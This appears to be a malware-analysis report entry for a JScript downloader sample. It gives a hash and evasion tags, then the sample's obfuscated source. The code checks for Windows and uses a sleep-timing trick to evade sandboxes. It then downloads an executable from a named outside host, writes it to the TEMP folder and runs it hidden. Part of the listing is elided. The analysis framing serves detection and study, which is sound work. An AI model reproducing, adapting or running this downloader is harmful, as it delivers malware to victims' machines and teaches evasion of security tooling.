20160328_1be95e521e011a5a7094462ed97d71ce.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256441c0b1bf5c8ae78513f4942e481836695e28a9be09366b1ed811852875bbf4e
Evidence
1var Qykxnumskc = false;
2var Jkupima = "CreateObject";
3var Bongmf = function Naprtdux() {return WScript[Jkupima]("WScript.Shell");}();
4var Dycfdpmfj = 123213;
5var Mkryptvlr = "MSXML2.XMLHTTP";
6var Nvlbmx = 2123213;
7var Pfuwln = 0;
8function Axcylnzzuj(Wdmtmu){Bongmf["Run"](Wdmtmu, Pfuwln, Pfuwln);};
9function Uyxjarr(){return Mkryptvlr;};
10function Pzxtvxwvpo(Oyrepxoxr, Zuywmvxx){return Oyrepxoxr - Zuywmvxx;};
11function Ozlwdx(){return Jkupima;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Qykxnumskc = true;
15 @end
16@*/
17var Dpddmte = "";
18if (Qykxnumskc)
19{
20function Kenig(){return 22;};
21var Jdzjsso = 0; var Eowvl = 0;
22function Bilpckqtox()
23{
24var Dmnjpmmtt = new this["Date"]();
25var Lfvyg = Dmnjpmmtt["getUTCMilliseconds"]();
26WScript["Sleep"](Kenig());
27var Dmnjpmmtt = new this["Date"]();
28var Jkyyup = Dmnjpmmtt["getUTCMilliseconds"]();
29WScript["Sleep"](Kenig());
30var Dmnjpmmtt = new this["Date"]();
31var Akllnp = Dmnjpmmtt["getUTCMilliseconds"]();
32var Jdzjsso = "Lqdskjdygm";
33Jdzjsso = Pzxtvxwvpo(Jkyyup, Lfvyg);
34var Eowvl = "Buvdsfrll";
35Eowvl = Pzxtvxwvpo(Akllnp, Jkyyup);
36Dpddmte = "open";
37return Pzxtvxwvpo(Jdzjsso, Eowvl);
38}
39var Hhlluhvdsl = false;
40var Ibunnje = false;
41for (var Leblwccl = Pfuwln; Leblwccl < Kenig() * 1; Leblwccl++){if (Bilpckqtox() != Pfuwln){
42Hhlluhv …
49:3… (Hhlluhvdsl && Yjcmez() && Ibunnje){
50function Pddzm() {return Bongmf["ExpandEnvironmentStrings"]("%TEMP%/") + "4zwfNca1eTNM8G6J.exe";};
51 Bpnwmssrh = Uyxjarr();
52 Gsswgy = WScript[Jkupima](Bpnwmssrh);
53 var Aqluk = 1;
54 while (Aqluk){
55try {
56Gsswgy[Dpddmte]("GET", "http://bbwsa.com/m7rysa", false);
57Gsswgy["send"]();
58Hdxym = "Sleep";
59do {WScript[Hdxym](Kenig() * 11)} while (Gsswgy["readystate"] < 4 );
60Aqluk = Pfuwln;
61} catch(Wvumbzggtk){Aqluk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Zqost(Zklym) {var Socenu = (1, 2, 3, 4, 5, Zklym); return Socenu;};
64Iyrhkowgz = WScript[Ozlwdx()]("ADODB.Stream");
65Bpnwmssrh = Iyrhkowgz;
66Bpnwmssrh[Dpddmte]();
67Bpnwmssrh["type"] = Zqost(1);
68Bpnwmssrh["write"](Gsswgy["ResponseBody"]);
69Iyrhkowgz["position"] = Zqost(Pfuwln);
70Bpnwmssrh["SaveToFile"](Pddzm(), Zqost(2) );
71Iyrhkowgz["close"]();
72Axcylnzzuj(Pddzm());
73}
74}
75